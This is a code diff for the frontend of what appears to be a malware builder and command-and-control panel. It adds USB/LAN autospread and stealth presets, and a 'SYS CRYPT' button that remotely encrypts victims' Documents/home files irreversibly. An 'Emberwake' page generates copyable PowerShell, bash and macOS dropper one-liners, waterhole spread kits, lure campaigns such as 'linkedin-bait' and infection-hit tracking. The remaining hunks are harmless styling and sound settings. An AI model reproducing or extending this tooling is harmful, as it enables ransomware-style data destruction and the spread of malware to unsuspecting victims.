auto_spread: false,
}),
},
{
id: 'lan_kindling',
label: 'LAN Kindling',
color: '#ff6b2c',
blurb: 'Universal spread kit + autospread for LAN/USB',
apply: (f) => ({
...f,
target_os: 'universal',
target_arch: 'all',
spread_kit: true,
fusion_enabled: false,
stealth_mode: true,
auto_spread: true,
usb_spread: true,
share_spread: true,
remote_aggressive: false,
}),
},
{
id: 'crucible_ops',
label: 'Crucible Ops',
color: '#c9a227',
blurb: 'Aggressive remote ops enabled for Crucible',
apply: (f) => ({
...f,
remote_aggressive: true,
hole_punch: true,
auto_spread: false,
}),
},
];
export function applySpreadProfile(form: BuildRequest, id: SpreadProfileId): BuildRequest {
const profile = SPREAD_PROFILES.find((p) => p.id === id);
return profile ? profile.apply(form) : form;
}

View File

@@ -40,6 +40,10 @@
.bm-loading {
padding: 2rem;
text-align: center;
border: 1px solid var(--border-brass);
border-radius: 2px;
background: rgba(8, 6, 4, 0.45);
box-shadow: var(--shadow-panel);
}
/* ── card grid ── */

View File

@@ -42,6 +42,7 @@ import {
defaultRunnerName,
defaultEmbeddedName,
} from '../help/fusionMedia';
import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
import './Pages.css';
export function formatBytes(n: number): string {
@@ -158,6 +159,7 @@ export default function BuilderPage() {
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
const fusionPrepRef = useRef<HTMLDivElement>(null);
const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');
// Drive simulated stage progress while a single build is running
useEffect(() => {
@@ -1025,6 +1027,7 @@ export default function BuilderPage() {
<div className="card builder-form">
{simpleMode ? (
<>
<div className="forge-simple-banner card">
<p className="font-tech">RECOMMENDED DEFAULTS AUTO-SELECTED</p>
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
@@ -1032,6 +1035,30 @@ export default function BuilderPage() {
Reset to recommended defaults
</button>
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Spread profile presets</label>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
{SPREAD_PROFILES.map((p) => (
<button
key={p.id}
type="button"
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
style={{ borderColor: spreadProfile === p.id ? p.color : undefined, color: spreadProfile === p.id ? p.color : undefined }}
title={p.blurb}
onClick={() => {
setSpreadProfile(p.id);
if (form) setForm(applySpreadProfile(form, p.id));
}}
>
{p.label}
</button>
))}
</div>
{spreadProfile && (
<p className="form-hint">{SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb}</p>
)}
</div>
</>
) : (
<div className="forge-rules-banner">
<h3 className="font-tech">FORGE RULES READ THIS ONCE</h3>

View File

@@ -486,6 +486,145 @@
.cop-shell { grid-column: 1 / -1; }
.cop-network { grid-column: 1 / -1; border-color: rgba(58, 134, 255, 0.2); }
.cop-network .cop-label { color: rgba(58, 134, 255, 0.8); border-bottom-color: rgba(58, 134, 255, 0.14); }
.cop-network .crucible-op-btn {
border-color: rgba(58, 134, 255, 0.28);
color: rgba(120, 180, 255, 0.95);
}
.cop-network .crucible-op-btn:hover:not(:disabled) {
background: rgba(58, 134, 255, 0.1);
border-color: #3a86ff;
box-shadow: 0 0 9px -2px rgba(58, 134, 255, 0.4);
}
.cop-persist { border-color: rgba(255, 45, 166, 0.18); }
.cop-persist .cop-label { color: rgba(255, 45, 166, 0.75); border-bottom-color: rgba(255, 45, 166, 0.12); }
.cop-persist .crucible-op-btn {
border-color: rgba(255, 45, 166, 0.28);
color: rgba(255, 120, 200, 0.95);
}
.cop-maint { grid-column: 1 / -1; border-color: rgba(0, 212, 170, 0.2); }
.cop-maint .cop-label { color: rgba(0, 212, 170, 0.8); border-bottom-color: rgba(0, 212, 170, 0.14); }
.crucible-op-collapsible .cop-toggle {
width: 100%;
display: flex;
align-items: center;
justify-content: space-between;
background: none;
border: none;
padding: 0;
cursor: pointer;
text-align: left;
}
.crucible-op-collapsible .cop-toggle .cop-label {
border-bottom: none;
margin-bottom: 0;
padding-bottom: 0;
}
.crucible-op-collapsible .cop-chevron {
font-size: 0.65rem;
color: var(--text-muted);
}
.crucible-op-collapsible .cop-body {
width: 100%;
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
padding-top: 0.45rem;
}
.crucible-inline-row,
.crucible-camera-row,
.crucible-upgrade-row {
width: 100%;
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
align-items: center;
}
.crucible-inline-input,
.crucible-inline-select {
flex: 1;
min-width: 120px;
padding: 0.3rem 0.5rem;
background: #0d0d1a;
border: 1px solid #333;
color: #ddd;
border-radius: 3px;
font-family: var(--font-tech);
font-size: 0.78rem;
}
.crucible-registry-panel {
width: 100%;
display: flex;
flex-direction: column;
gap: 0.35rem;
}
.crucible-op-active {
background: rgba(0, 245, 255, 0.12) !important;
border-color: var(--neon-cyan) !important;
color: var(--neon-cyan) !important;
}
.crucible-op-soon {
opacity: 0.45 !important;
font-size: 0.72rem !important;
}
.crucible-coming-soon-row {
width: 100%;
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
padding-top: 0.25rem;
border-top: 1px dashed rgba(255, 255, 255, 0.08);
margin-top: 0.25rem;
}
.crucible-portfwd-matrix {
width: 100%;
margin-top: 0.35rem;
}
.crucible-portfwd-body {
margin-top: 0.4rem;
padding: 0.5rem;
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 6px;
background: rgba(0, 0, 0, 0.25);
}
.crucible-portfwd-grid {
display: flex;
flex-direction: column;
gap: 0.35rem;
}
.crucible-portfwd-row {
display: grid;
grid-template-columns: 5rem 1fr 6rem 2rem;
gap: 0.35rem;
align-items: center;
}
.crucible-portfwd-head {
font-size: 0.62rem;
letter-spacing: 0.08em;
color: var(--text-muted);
text-transform: uppercase;
}
.crucible-phase-c-row {
width: 100%;
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
padding-top: 0.35rem;
border-top: 1px dashed rgba(255, 255, 255, 0.08);
margin-top: 0.35rem;
}
/* ── Op buttons ──────────────────────────────────────────────────────── */
.crucible-op-btn {

View File

@@ -14,7 +14,9 @@ import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import FileManager from '../components/Fleet/FileManager';
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/ProtocolTunnelPanel.css';
import './CruciblePage.css';
@@ -365,6 +367,28 @@ export default function CruciblePage() {
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
const encryptTargets = useMemo(
() => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })),
[selectedAgents]
);
const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
const appendTerminalLine = useCallback((text: string, isCmd = false) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd,
text,
ts: new Date(),
targeted: true,
},
].slice(-2000));
}, []);
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
const crucibleTargetReady =
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
@@ -1153,6 +1177,29 @@ export default function CruciblePage() {
</button>
</div>
<CrucibleExpandedOps
selectedAgents={selectedAgents}
selectedCount={selectedIds.size}
singleSelectedAgent={singleSelectedAgent}
commandResults={commandResults}
onEcho={appendTerminalLine}
onAgentError={(agentId, agentName, action, err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId,
agentName,
isCmd: false,
text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
targeted: true,
},
]);
}}
/>
{/* ── SSH ──────────────────────────────────────── */}
<div className="crucible-op-group cop-ssh">
<span className="cop-label">SSH</span>
@@ -1239,13 +1286,13 @@ export default function CruciblePage() {
</button>
</div>
{/* ── Sys Crypt ────────────────────────────────── */}
{/* ── Sys Crypt + remote browser ───────────────── */}
<div className="crucible-op-group cop-destructive">
<span className="cop-label"> Destructive</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
title="AES-256-GCM encrypt every file in Documents/home (legacy shortcut; requires Remote Aggressive Ops)"
style={{
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
border: '1px solid #ff2222',
@@ -1254,7 +1301,7 @@ export default function CruciblePage() {
letterSpacing: '0.06em',
}}
onClick={() => {
if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
if (!confirm(`SYS CRYPT — encrypt Documents/home on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
Promise.all(
selectedAgents.filter(online).map((a) =>
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
@@ -1269,19 +1316,29 @@ export default function CruciblePage() {
})
)
);
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: 'local', agentName: 'YOU',
isCmd: true,
text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
ts: new Date(),
},
]);
appendTerminalLine(`SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents/home`, true);
}}
>
🔒 SYS CRYPT ({selectedIds.size})
</button>
{browseAgent && selectedIds.size > 0 ? (
<>
{selectedIds.size > 1 && (
<p className="form-hint" style={{ margin: '0.35rem 0 0', fontSize: '0.72rem' }}>
Browsing {browseAgent.name} only Encrypt applies to all {encryptTargets.length} online selection(s).
</p>
)}
<RemoteDirBrowser
agentId={browseAgent.id}
agentName={browseAgent.name}
platform={browseAgent.platform}
online={online(browseAgent)}
encryptTargets={encryptTargets}
commandResults={fmCommandResults}
onTerminalLine={appendTerminalLine}
/>
</>
) : null}
</div>
{/* ── SUPP Seek Mode ───────────────────────────── */}

View File

@@ -0,0 +1,51 @@
.emberwake-page .spread-section {
margin-bottom: 1.5rem;
padding: 1rem 1.25rem;
border-radius: 8px;
border: 1px solid #2a3040;
background: linear-gradient(135deg, #12161f 0%, #0d1018 100%);
}
.emberwake-page .spread-section h3 {
margin: 0 0 0.5rem;
font-size: 1rem;
}
.emberwake-page .spread-section--cyan { border-left: 4px solid #3dd6c6; }
.emberwake-page .spread-section--ember { border-left: 4px solid #ff6b2c; }
.emberwake-page .spread-section--gold { border-left: 4px solid #c9a227; }
.emberwake-page .spread-section--violet { border-left: 4px solid #a78bfa; }
.emberwake-tool-grid {
display: grid;
gap: 0.75rem;
grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
}
.emberwake-notes {
min-height: 120px;
width: 100%;
font-family: ui-monospace, monospace;
font-size: 0.85rem;
}
.emberwake-campaign-list {
list-style: none;
margin: 0;
padding: 0;
}
.emberwake-campaign-list li {
display: flex;
justify-content: space-between;
padding: 0.35rem 0;
border-bottom: 1px solid #222a38;
font-size: 0.85rem;
}
.emberwake-ab-row {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
align-items: center;
}

View File

@@ -0,0 +1,238 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { api } from '../api/client';
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
import {
combinedDropperQuery,
commandOneliner,
ps1Oneliner,
publicDownloadUrl,
shOneliner,
} from '../help/emberwake';
import { useWebSocket } from '../hooks/useWebSocket';
import './Pages.css';
import './EmberwakePage.css';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
});
};
return (
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
{ok ? 'Copied' : label}
</button>
);
}
export default function EmberwakePage() {
const { latestMessage } = useWebSocket();
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
const [serverBase, setServerBase] = useState('');
const [campaign, setCampaign] = useState('linkedin-bait');
const [pinA, setPinA] = useState('');
const [pinB, setPinB] = useState('');
const [notes, setNotes] = useState('');
const [notesMeta, setNotesMeta] = useState('');
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
const [exportBusy, setExportBusy] = useState(false);
const [notesBusy, setNotesBusy] = useState(false);
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
const load = useCallback(async () => {
const [b, info, cfg, pub, camp, n] = await Promise.all([
api.listBuilds(),
api.getServerInfo(),
api.getConfig(),
api.listPublicBuilds(),
api.listCampaignHits(),
api.getEmberwakeNotes(),
]);
setBuilds(b);
const pubUrl = cfg.server?.public_url?.trim();
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
setPublicBuilds(pub.builds);
setCampaigns(camp.campaigns);
setNotes(n.content);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
if (!pinA) {
const p = b.find((x) => x.pinned);
if (p) setPinA(p.id);
}
if (!pinB && b.length > 1) {
const alt = b.find((x) => !x.pinned) ?? b[1];
if (alt) setPinB(alt.id);
}
}, [pinA, pinB]);
useEffect(() => {
void load().catch(() => {});
}, [load]);
useEffect(() => {
if (latestMessage?.type !== 'emberwake_notes_updated') return;
const p = latestMessage.payload as EmberwakeNotes;
if (p && typeof p.content === 'string') {
setNotes(p.content);
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
}
}, [latestMessage]);
const saveNotes = async () => {
setNotesBusy(true);
try {
const n = await api.putEmberwakeNotes(notes);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
} finally {
setNotesBusy(false);
}
};
const exportKit = async () => {
setExportBusy(true);
try {
await api.exportSpreadKit({
build_id: pinA || pinned[0]?.id || '',
server_url: serverBase,
campaign,
});
} finally {
setExportBusy(false);
}
};
return (
<div className="page emberwake-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
<h1>Emberwake</h1>
<p className="page-subtitle">
Carry embers from the forge web waterholes, CMS uploads, curl|bash VPS drops, fusion media, USB, and LAN spread.
</p>
</div>
</header>
<div className="spread-section spread-section--ember">
<h3>How to spread</h3>
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
<li><strong>Web waterhole</strong> export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
<li><strong>curl | bash VPS</strong> paste one-liners below on a headless server session.</li>
<li><strong>Fusion media</strong> forge Desktop Fusion profile, seed USB or shared folders.</li>
<li><strong>LAN kindling</strong> universal spread kit + autospread; deploy.bat on reachable hosts.</li>
<li><strong>A/B droppers</strong> pin build A vs B; rotate campaign links between waves.</li>
</ul>
</div>
<div className="card" style={{ marginBottom: '1rem' }}>
<h2>Campaign builder</h2>
<div className="form-group">
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
</div>
<div className="emberwake-ab-row" style={{ marginBottom: '0.75rem' }}>
<label className="label">Build A (pin)</label>
<select className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
<option value="">Latest / pinned</option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
))}
</select>
<label className="label">Build B (A/B)</label>
<select className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
<option value=""></option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
))}
</select>
</div>
<div className="emberwake-tool-grid">
<div>
<p className="form-hint">PowerShell</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{ps1Oneliner(serverBase, query)}</code>
<CopyChip text={ps1Oneliner(serverBase, query)} label="Copy PS1" />
</div>
<div>
<p className="form-hint">bash</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{shOneliner(serverBase, query)}</code>
<CopyChip text={shOneliner(serverBase, query)} label="Copy sh" />
</div>
<div>
<p className="form-hint">macOS</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{commandOneliner(serverBase, query)}</code>
<CopyChip text={commandOneliner(serverBase, query)} label="Copy .command" />
</div>
</div>
{pinB && (
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
A/B link B: <code>{serverBase}/get{queryB}</code>
<CopyChip text={`${serverBase}/get${queryB}`} label="Copy B" />
</p>
)}
</div>
<div className="spread-section spread-section--cyan">
<h3>Spread kit export</h3>
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
<div className="emberwake-ab-row">
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
</button>
</div>
</div>
<div className="spread-section spread-section--gold">
<h3>Public build URLs</h3>
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate public builds enabled).</p>
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
<strong>{b.worker_name}</strong> ({b.platform})
{' — '}
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
public download
</a>
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
</li>
))}
</ul>
</div>
{campaigns.length > 0 && (
<div className="spread-section spread-section--violet">
<h3>Campaign hits</h3>
<ul className="emberwake-campaign-list">
{campaigns.map((c) => (
<li key={c.campaign}>
<span><code>{c.campaign}</code></span>
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
</li>
))}
</ul>
</div>
)}
<div className="card">
<h2>Shared notes</h2>
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
<textarea
className="input emberwake-notes"
rows={6}
value={notes}
onChange={(e) => setNotes(e.target.value)}
placeholder="Paste lure copy, host paths, rotation schedule…"
/>
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
{notesBusy ? 'Saving…' : 'Save notes'}
</button>
</div>
</div>
);
}

View File

@@ -442,13 +442,15 @@
}
.form-section {
margin-bottom: 1.5rem;
padding-bottom: 1.5rem;
border-bottom: 1px solid var(--border-color);
margin-bottom: 1.25rem;
padding: 1rem 1.1rem 1.25rem;
border: 1px solid var(--border-dim);
border-radius: 2px;
background: rgba(8, 6, 4, 0.35);
}
.form-section:last-of-type {
border-bottom: none;
margin-bottom: 0;
}
.form-section h3 {
@@ -560,8 +562,9 @@
.build-item {
padding: 0.75rem;
background: var(--bg-secondary);
border-radius: 8px;
background: rgba(8, 6, 4, 0.55);
border: 1px solid var(--border-brass);
border-radius: 2px;
}
.build-item-name {
@@ -1329,6 +1332,12 @@ button.deliverable-card .form-hint {
border: 1px solid rgba(212, 175, 55, 0.25);
}
.fusion-estimate-panel {
padding: 1rem 1.1rem;
margin-top: 0.75rem;
border: 1px solid rgba(212, 175, 55, 0.28);
}
.batch-forge-header {
display: flex;
justify-content: space-between;

View File

@@ -394,10 +394,11 @@
}
.pt-section-panel {
background: rgba(0,0,0,0.25);
border: 1px solid rgba(0,255,170,0.08);
border-radius: 10px;
background: rgba(8, 6, 4, 0.45);
border: 1px solid var(--border-brass);
border-radius: 2px;
padding: 1rem;
box-shadow: var(--shadow-panel);
}
/* Spinner */

View File

@@ -6,6 +6,7 @@ import { cleanup, render, screen, waitFor, within } from '@testing-library/react
import userEvent from '@testing-library/user-event';
import SettingsPage, { deepMerge } from './SettingsPage';
import { SoundProvider } from '../context/SoundContext';
import { AmbientMusicProvider } from '../context/AmbientMusicContext';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
@@ -13,7 +14,9 @@ import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
function renderSettings() {
return render(
<SoundProvider>
<SettingsPage />
<AmbientMusicProvider>
<SettingsPage />
</AmbientMusicProvider>
</SoundProvider>
);
}

View File

@@ -19,6 +19,8 @@ import NeonCard from '../components/NeonCard/NeonCard';
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import { useSound } from '../context/SoundContext';
import { useAmbientMusic } from '../context/AmbientMusicContext';
import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
import { useVisualEffects } from '../context/VisualEffectsContext';
import './Pages.css';
@@ -46,7 +48,19 @@ export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
}
export default function SettingsPage() {
const { enabled: sfxEnabled, volume: sfxVolume, setEnabled: setSfxEnabled, setVolume: setSfxVolume, preview: previewSfx } = useSound();
const {
enabled: sfxEnabled,
volume: sfxVolume,
hoverEnabled,
hoverVolume,
setEnabled: setSfxEnabled,
setVolume: setSfxVolume,
setHoverEnabled,
setHoverVolume,
preview: previewSfx,
previewHover,
} = useSound();
const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
const { glowParticles, setGlowParticles } = useVisualEffects();
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
@@ -490,6 +504,82 @@ export default function SettingsPage() {
Preview share
</button>
</div>
<hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
<h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Hover highlight sounds</h3>
<p className="section-desc" style={{ marginBottom: '0.75rem' }}>
Subtle dubstep-style blips when hovering buttons, cards, nav links, and fleet rows. Debounced so rapid
mouse movement stays quiet. Muted when click sounds are off.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={hoverEnabled}
disabled={!sfxEnabled}
onChange={(e) => setHoverEnabled(e.target.checked)}
/>
<span>Enable hover highlight sounds</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-hover-volume" className="label">
Hover volume ({Math.round(hoverVolume * 100)}%)
</label>
<input
id="cfg-hover-volume"
type="range"
className="input"
min={0}
max={100}
step={5}
value={Math.round(hoverVolume * 100)}
disabled={!sfxEnabled || !hoverEnabled}
onChange={(e) => setHoverVolume(parseInt(e.target.value, 10) / 100)}
/>
</div>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled || !hoverEnabled}
onClick={previewHover}
>
Preview hover
</button>
<hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
<h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Background music</h3>
<p className="section-desc" style={{ marginBottom: '0.75rem' }}>
Optional looping ambient track served from <code className="mono-sm">{AMBIENT_MUSIC_SRC}</code>. Use the
mini player in the bottom-right corner on any page, or enable here. Defaults off browsers block autoplay
until you press play or toggle this on.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={bgmEnabled}
onChange={(e) => setBgmEnabled(e.target.checked)}
/>
<span>Enable background music</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-bgm-volume" className="label">
Music volume ({Math.round(bgmVolume * 100)}%)
</label>
<input
id="cfg-bgm-volume"
type="range"
className="input"
min={0}
max={100}
step={5}
value={Math.round(bgmVolume * 100)}
disabled={!bgmEnabled}
onChange={(e) => setBgmVolume(parseInt(e.target.value, 10) / 100)}
/>
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section">

View File

@@ -2,31 +2,31 @@
@import url('https://fonts.googleapis.com/css2?family=Cinzel+Decorative:wght@400;700&family=Orbitron:wght@400;500;600;700&family=Rajdhani:wght@400;500;600;700&display=swap');
:root {
--bg-void: #060504;
--bg-deep: #0c0a08;
--bg-panel: rgba(18, 14, 10, 0.85);
--bg-panel-solid: #14100c;
--bg-hover: rgba(40, 32, 24, 0.9);
--bg-void: #030308;
--bg-deep: #08080f;
--bg-panel: rgba(10, 10, 18, 0.9);
--bg-panel-solid: #0e0e16;
--bg-hover: rgba(28, 26, 40, 0.92);
--brass: #c9a227;
--brass-light: #e8c547;
--brass-dark: #6b4f12;
--copper: #b87333;
--copper-glow: rgba(184, 115, 51, 0.4);
--brass: #9a8538;
--brass-light: #c4ad5a;
--brass-dark: #4a3d18;
--copper: #8a5a42;
--copper-glow: rgba(120, 80, 120, 0.35);
--neon-cyan: #00f5ff;
--neon-magenta: #ff2da6;
--neon-amber: #ffb020;
--neon-green: #39ff14;
--neon-purple: #b24bf3;
--neon-cyan: #00e8f5;
--neon-magenta: #e828a8;
--neon-amber: #e89830;
--neon-green: #2ee810;
--neon-purple: #a83ef0;
--text-primary: #f4ebe0;
--text-secondary: #c4b5a0;
--text-muted: #7a6f62;
--text-primary: #e8e4f0;
--text-secondary: #a8a0b8;
--text-muted: #5e5868;
--border-brass: rgba(201, 162, 39, 0.35);
--border-neon: rgba(0, 245, 255, 0.25);
--shadow-panel: 0 8px 32px rgba(0, 0, 0, 0.6), 0 0 1px rgba(201, 162, 39, 0.3);
--border-brass: rgba(140, 120, 60, 0.28);
--border-neon: rgba(0, 232, 245, 0.22);
--shadow-panel: 0 10px 36px rgba(0, 0, 0, 0.72), 0 0 1px rgba(80, 60, 140, 0.25);
--shadow-neon-cyan: 0 0 20px rgba(0, 245, 255, 0.35), 0 0 60px rgba(0, 245, 255, 0.1);
--shadow-neon-magenta: 0 0 20px rgba(255, 45, 166, 0.3);
@@ -76,7 +76,7 @@ h1, h2, h3, .font-display {
.card,
.neon-card {
position: relative;
background: linear-gradient(145deg, rgba(28, 22, 16, 0.95) 0%, rgba(12, 10, 8, 0.98) 100%);
background: linear-gradient(145deg, rgba(16, 14, 24, 0.96) 0%, rgba(6, 6, 12, 0.99) 100%);
border: 1px solid var(--border-brass);
border-radius: 4px;
box-shadow: var(--shadow-panel);
@@ -90,13 +90,14 @@ h1, h2, h3, .font-display {
position: absolute;
inset: 0;
background:
radial-gradient(ellipse 80% 50% at 50% -20%, rgba(0, 245, 255, 0.08), transparent 50%),
radial-gradient(ellipse 80% 50% at 50% -20%, rgba(0, 232, 245, 0.06), transparent 50%),
radial-gradient(ellipse 60% 40% at 100% 100%, rgba(168, 62, 240, 0.04), transparent 55%),
repeating-linear-gradient(
90deg,
transparent,
transparent 48px,
rgba(201, 162, 39, 0.03) 48px,
rgba(201, 162, 39, 0.03) 49px
rgba(80, 70, 120, 0.025) 48px,
rgba(80, 70, 120, 0.025) 49px
);
pointer-events: none;
z-index: 0;
@@ -129,7 +130,7 @@ h1, h2, h3, .font-display {
position: absolute;
inset: 8px;
border: 1px solid transparent;
border-image: linear-gradient(135deg, var(--brass) 0%, transparent 30%, transparent 70%, var(--neon-cyan) 100%) 1;
border-image: linear-gradient(135deg, rgba(120, 100, 180, 0.6) 0%, transparent 30%, transparent 70%, var(--neon-cyan) 100%) 1;
pointer-events: none;
opacity: 0.5;
}
@@ -178,7 +179,7 @@ h1, h2, h3, .font-display {
.btn-outline {
border: 1px solid var(--border-brass);
color: var(--brass-light);
background: rgba(20, 16, 12, 0.6);
background: rgba(12, 12, 20, 0.72);
}
.btn-outline:hover {
@@ -190,7 +191,7 @@ h1, h2, h3, .font-display {
/* Form inputs — gauge panel style */
.input,
.select {
background: rgba(8, 6, 4, 0.9);
background: rgba(6, 6, 12, 0.92);
border: 1px solid var(--border-brass);
border-radius: 2px;
font-family: var(--font-body);

View File

@@ -11,9 +11,9 @@
body {
background:
radial-gradient(ellipse 120% 80% at 50% -30%, rgba(0, 245, 255, 0.07), transparent 55%),
radial-gradient(ellipse 90% 60% at 100% 50%, rgba(255, 45, 166, 0.04), transparent 50%),
radial-gradient(ellipse 70% 50% at 0% 80%, rgba(201, 162, 39, 0.06), transparent 45%),
radial-gradient(ellipse 120% 80% at 50% -30%, rgba(0, 232, 245, 0.05), transparent 55%),
radial-gradient(ellipse 90% 60% at 100% 50%, rgba(168, 62, 240, 0.05), transparent 50%),
radial-gradient(ellipse 70% 50% at 0% 80%, rgba(40, 30, 80, 0.08), transparent 45%),
var(--bg-void);
text-rendering: optimizeLegibility;
-webkit-font-smoothing: antialiased;
@@ -52,9 +52,9 @@ a:hover {
background: linear-gradient(
90deg,
transparent,
rgba(201, 162, 39, 0.35) 15%,
rgba(0, 245, 255, 0.5) 50%,
rgba(255, 45, 166, 0.25) 85%,
rgba(80, 60, 140, 0.3) 15%,
rgba(0, 232, 245, 0.45) 50%,
rgba(168, 62, 240, 0.22) 85%,
transparent
);
opacity: 0.85;

View File

@@ -80,6 +80,7 @@ export interface Agent {
